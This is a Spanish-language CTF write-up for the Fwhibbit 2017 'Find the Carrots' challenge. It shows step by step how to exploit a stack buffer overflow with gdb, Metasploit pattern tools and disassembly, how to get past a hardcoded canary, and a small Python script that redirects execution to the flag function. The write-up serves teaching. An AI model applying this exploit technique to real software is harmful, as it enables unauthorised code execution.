Fwhibbit CTF 2017 - Find the Carrots
Enunciado
Find the Carrots
Points: 300
Country: Mexico
Attatchment: https://mega.nz/#!twM1nYCA!qXDWql7ER6gLYj6eaT7iG-12sFdH3ozePk0VDl_xLwk
Description: We all know that rabbits' favorite food is carrots. Help the rabbits to eat their favorite food today and be careful with the birds...good luck!
Solución
Se trata del clásico buffer overflow que peta cuando le metes más caracteres de los debidos:
./carrots
Where is my carrot?
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Segmentation fault
Veamos las protecciones que tiene el binario:
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
Sólo tiene habilitado la no ejecucción en la pila, vamos a crear un patrón de caracteres para averiguar el offset con metasploit:
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 150
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9
Lo metemos en gdb y nos da una dirección que se corresponde con una parte del patrón anteior. Esta dirección se la pasamos a metasploit otra vez y nos da el offset:
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 150 -q 0x37654136
[*] Exact match at offset 140
Si nos fijamos en la función main vemos que hay una llamada a la función que recoge nuestros datos por consola, esta función es vulnerable a un buffer overflow. Si metemos más de 140 caracteres vamos a sobreescribir el stack frame de main.
08049790 <main>:
8049790: 55 push ebp
8049791: 89 e5 mov ebp,esp
8049793: 81 ec a8 00 00 00 sub esp,0xa8
8049799: c7 45 fc 44 52 49 42 mov DWORD PTR [ebp-0x4],0x42495244
80497a0: c7 45 f8 00 00 00 00 mov DWORD PTR [ebp-0x8],0x0
80497a7: e8 64 fa ff ff call 8049210 <_Z6bannerv> <== Pinta el dibujito
80497ac: 8d 05 4a a0 04 08 lea eax,ds:0x804a04a
80497b2: 89 04 24 mov DWORD PTR [esp],eax
80497b5: e8 a6 f7 ff ff call 8048f60 <printf@plt> <== Muestra la pregunta por pantalla
80497ba: 8d 0d a0 c0 04 08 lea ecx,ds:0x804c0a0
80497c0: 8d 95 78 ff ff ff lea edx,[ebp-0x88]
80497c6: 89 0c 24 mov DWORD PTR [esp],ecx
80497c9: 89 54 24 04 mov DWORD PTR [esp+0x4],edx
80497cd: 89 85 74 ff ff ff mov DWORD PTR [ebp-0x8c],eax
80497d3: e8 c8 f7 ff ff call 8048fa0 <== Función vulnerable que recoge los datos introducidos
80497d8: 81 7d f8 00 00 00 00 cmp DWORD PTR [ebp-0x8],0x0
80497df: 89 85 70 ff ff ff mov DWORD PTR [ebp-0x90],eax
80497e5: 0f 85 14 00 00 00 jne 80497ff <main+0x6f>
80497eb: 31 c0 xor eax,eax
80497ed: c7 04 24 00 00 00 00 mov DWORD PTR [esp],0x0
80497f4: 89 85 6c ff ff ff mov DWORD PTR [ebp-0x94],eax
80497fa: e8 a1 f8 ff ff call 80490a0 <exit@plt>
80497ff: 31 c0 xor eax,eax
8049801: 8b 4d f8 mov ecx,DWORD PTR [ebp-0x8]
8049804: 89 0d d0 c1 04 08 mov DWORD PTR ds:0x804c1d0,ecx
804980a: 8b 4d fc mov ecx,DWORD PTR [ebp-0x4]
804980d: 89 0d d4 c1 04 08 mov DWORD PTR ds:0x804c1d4,ecx
8049813: 8b 4d 04 mov ecx,DWORD PTR [ebp+0x4]
8049816: 89 0d d8 c1 04 08 mov DWORD PTR ds:0x804c1d8,ecx
804981c: 81 c4 a8 00 00 00 add esp,0xa8
8049822: 5d pop ebp
8049823: c3 ret <== Sobreescribir aquí el EIP antes de llamar a ret
Situación de la pila después de la llamada a la función y tras haber introducido 140 caracteres, los últimos 4 caracteres son diferentes para identificar donde está la posición de memoria de retorno que hemos machacado:
br *0x80497d8
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
gdb-peda$ x/64xw $esp
0xbffff290: 0x0804c0a0 0xbffff33c 0xb7dbfe00 0xb7dbfdfc
0xbffff2a0: 0xb7fac504 0xb7c13618 0xb7c3a870 0x00000018
0xbffff2b0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff2c0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff2d0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff2e0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff2f0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff300: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff310: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff320: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff330: 0x41414141 0x41414141 0x42424242 0xb7c24200
Una vez que sabemos que si introducimos 140 caracteres va a sobreescribir el EIP del stack frame de main, si metemos 136 caracteres y una dirección de memoria donde dirigir el flujo del programa (posición ocupada por BBBB y cuyo valor es 0xbffff33c). Lo suyo sería dirigir el programa hacia una dirección donde nos muestre el flag que buscamos, pero... ¿cual es esa dirección de memoria?
Si echamos un vistazo a las strings, vemos que hay unas cadenas que podrían darnos una pista de donde va a mostrarnos el flag:
rabin2 -z carrots | grep arrot
vaddr=0x08049fd5 paddr=0x00001fd5 ordinal=018 sz=38 len=37 section=.rodata type=ascii string=\n Yes! My Carrot is here! mmmm ... \n
Buscando en el código encontramos la función desde la que se llama a esa string:
objdump -M intel -drw carrots | grep 49fd5 -6
08049570 <_Z6CARROTv>:
8049570: 55 push ebp
8049571: 89 e5 mov ebp,esp
8049573: 53 push ebx
8049574: 56 push esi
8049575: 81 ec 90 00 00 00 sub esp,0x90
804957b: 8d 05 d5 9f 04 08 lea eax,ds:0x8049fd5 <== Dirección de la string que buscamos con el grep
8049581: 89 04 24 mov DWORD PTR [esp],eax
8049584: e8 d7 f9 ff ff call 8048f60 <printf@plt>
8049589: 81 3d d4 c1 04 08 44 52 49 42 cmp DWORD PTR ds:0x804c1d4,0x42495244
8049593: 89 45 a8 mov DWORD PTR [ebp-0x58],eax
8049596: 0f 84 22 00 00 00 je 80495be <_Z6CARROTv+0x4e>
804959c: 8d 05 fb 9f 04 08 lea eax,ds:0x8049ffb
Nuestra función objetivo es "_Z6CARROTv", sólo nos queda apuntar el EIP a 0x08049570. Si lo probamos dentro del gdb, hay que cambiar las BBBB que está en la posición 0xbffff33c por el valor 0x08049570:
set {int}0xbffff33c=0x08049570
gdb-peda$ c
Continuing.
Yes! My Carrot is here! mmmm ...
~(‾▿‾)~ Oh NO! We hate birds :(
Ooops! Something is wrong here. ¿Qué ha pasado? Parece que no era tan fácil como parecía. Echemos un vistazo a la función "_Z6CARROTv" a ver si encontramos algo:
8049575: 81 ec 90 00 00 00 sub esp,0x90
804957b: 8d 05 d5 9f 04 08 lea eax,ds:0x8049fd5
8049581: 89 04 24 mov DWORD PTR [esp],eax
8049584: e8 d7 f9 ff ff call 8048f60 <printf@plt>
8049589: 81 3d d4 c1 04 08 44 52 49 42 cmp DWORD PTR ds:0x804c1d4,0x42495244 <= Compara el contenido de una posición de memoria con el valor 0x42495244
8049593: 89 45 a8 mov DWORD PTR [ebp-0x58],eax
8049596: 0f 84 22 00 00 00 je 80495be <_Z6CARROTv+0x4e>
804959c: 8d 05 fb 9f 04 08 lea eax,ds:0x8049ffb
80495a2: 89 04 24 mov DWORD PTR [esp],eax
80495a5: e8 b6 f9 ff ff call 8048f60 <printf@plt>
80495aa: 31 c9 xor ecx,ecx
80495ac: c7 04 24 00 00 00 00 mov DWORD PTR [esp],0x0
80495b3: 89 45 a4 mov DWORD PTR [ebp-0x5c],eax
80495b6: 89 4d a0 mov DWORD PTR [ebp-0x60],ecx
80495b9: e8 e2 fa ff ff call 80490a0 <exit@plt>
80495be: a1 d8 c1 04 08 mov eax,ds:0x804c1d8
Tenemos una comparación entre el valor 0x42495244 (que en ASCII es 'BIRD", ¡son unos cachondos dando pistas!) y la posición de memoria 0x804c1d4, que es la variable 'c1' y contiene lo siguiente:
x/32xw 0x804c1d4
0x804c1d4 <c1>: 0x41414141 0xb7c24200 0x00000000 0x00000000
Mmm... no creo que sea casualidad que haya 'AAAA' en esa posición de memoria. Sospecho que en la función main guarda un valor en esa posición de memoria para asegurarse que nadie modifica la pila. Lo que se conoce como el canary stack, pero debe ser un canary hardcodeado en el propio código porque antes hemos visto que no estaba habilitado esa protección en el binario. Volvamos a la función main y veamos cuando guarda ese valor y como podemos saltarnos el canary hardcodeado:
08049790 <main>:
8049790: 55 push ebp
8049791: 89 e5 mov ebp,esp
8049793: 81 ec a8 00 00 00 sub esp,0xa8
8049799: c7 45 fc 44 52 49 42 mov DWORD PTR [ebp-0x4],0x42495244 <== Guarda como valor local(var_4) el valor hardcodeado del canary
80497a0: c7 45 f8 00 00 00 00 mov DWORD PTR [ebp-0x8],0x0 <== Guarda un 0 en la variable local var_8
...........
80497cd: 89 85 74 ff ff ff mov DWORD PTR [ebp-0x8c],eax
80497d3: e8 c8 f7 ff ff call 8048fa0 <== Función vulnerable que recoge los datos introducidos
80497d8: 81 7d f8 00 00 00 00 cmp DWORD PTR [ebp-0x8],0x0 <== Comprueba si ha habido algún error en la llamada a la función
80497df: 89 85 70 ff ff ff mov DWORD PTR [ebp-0x90],eax
80497e5: 0f 85 14 00 00 00 jne 80497ff <main+0x6f> <== Si hay un error ($eax<>0) sigue y sale del programa
80497eb: 31 c0 xor eax,eax
80497ed: c7 04 24 00 00 00 00 mov DWORD PTR [esp],0x0
80497f4: 89 85 6c ff ff ff mov DWORD PTR [ebp-0x94],eax
80497fa: e8 a1 f8 ff ff call 80490a0 <exit@plt>
80497ff: 31 c0 xor eax,eax <== Sigue por aquí si no ha habido un error
8049801: 8b 4d f8 mov ecx,DWORD PTR [ebp-0x8] <== Recupera el valor de var_8
8049804: 89 0d d0 c1 04 08 mov DWORD PTR ds:0x804c1d0,ecx <== Guarda var_8 en la posición 0x804c1d0
804980a: 8b 4d fc mov ecx,DWORD PTR [ebp-0x4] <== Recupera el valor del canary hardcodeado guardado en var_4
804980d: 89 0d d4 c1 04 08 mov DWORD PTR ds:0x804c1d4,ecx <== Guarda el valor hardcodeado en la posición 0x804c1d4
8049813: 8b 4d 04 mov ecx,DWORD PTR [ebp+0x4] <== Recupera un valor del stack frame previo
8049816: 89 0d d8 c1 04 08 mov DWORD PTR ds:0x804c1d8,ecx <== Guarda el valor anterior en la posición 0x804c1d8
804981c: 81 c4 a8 00 00 00 add esp,0xa8
8049822: 5d pop ebp
8049823: c3 ret
Si observamos la pila antes de meter el offset en nuestra función de recogida de datos tenemos los siguientes valores:
x/32xw $ebp-0x4
0xbffff334: 0x42495244 0x00000000 0xb7c24276 0x00000001
Si la observamos después de meter el offset de 140 caracteres, se puede comprobar que hemos machadado tres valores que guarda en memoria y que luego va a usar para saber si hemos modificado la pila:
gdb-peda$ x/32xw $ebp-0x4
0xbffff334: 0x41414141 0x42424242 0xb7c24200 0x00000001
Ok, entonces no solo tenemos que poner la dirección donde queremos enviar el flujo del programa además debemos mantener esos valores para que no nos dé el error anterior. Para eso cambiamos los valores en gdb para evitar el canary:
set {int}0xbffff334=0x42495244
set {int}0xbffff338=0x00000000
set {int}0xbffff33c=0x08049570
Si seguimos la ejeucción del programa dentro del gdb nos da lo siguiente:
Yes! My Carrot is here! mmmm ...
fwhibbit{Carrots_for_All_dabd8800}
Ya tenemos el flag, pero si lo introducimos en el panel del CTF nos dice que no es correcto. WTF!!!!
Aquí es donde me ofusque con este reto y empecé a hacer todo tipo de pruebas dentro de gdb para ver porque esa no era el flag correcto. Después de medio día perdido volviendome loco y gracias a un admin del CTF al que pregunté y me dijo que no tenía que hacer el reversing del binario sino que tenía que explotarlo. Fue entonces cuando entendí que tenía que ejecutar el exploit fuera del gdb porque los últimos valores del flag(dabd8800) eran el valor de una posición de memoria. Y cuando ejecutas el programa para debugearlo esas posiciones son diferentes a cuando lo haces directamente sobre el sistema. Por lo tanto hice mi cutre script en python y así conseguí explotar el programa. :-)
#!/usr/bin/python
# Fichero explotalo.py
# Exploit ROP
from struct import pack
binary = "carrots"
junk = "A" * 132
rop = pack('<I', 0x42495244)
rop += pack('<I', 0x00000000)
rop += pack('<I', 0x08049570)
payload = junk + rop
print payload
Por fin la solución final:
root@LOL:~/fwhibbitCTF/pwn# python explotalo.py > file.txt
root@LOL:~/fwhibbitCTF/pwn# ./carrots < file.txt
.--``..---.
.````--:ohdmNms/`
-:/+++/-.:smNd+
```..--:ohmNNdhh.
`-. `.``.-+sosshd. :.
-os--/sosdmmNNMMNy .+//
:h+.+hNNMMMNNNMMNm/ `/yNN.`
.do/oNNMMMMMmohs+:` .+hNMMMM-`
`yohNhNNNMh- dosNMMMmo-
-mN+hMMMy .smNMNdd/+`
yN.hMMh +NMMNmhds:
+N//m+ .osshyho
..smhh
::oNmy-
.//yhs/:`
:ymNN/
.-+shdho.
`.--..` '''
Where is my carrot?
>
Yes! My Carrot is here! mmmm ...
fwhibbit{Carrots_for_All_160591c0}
Segmentation fault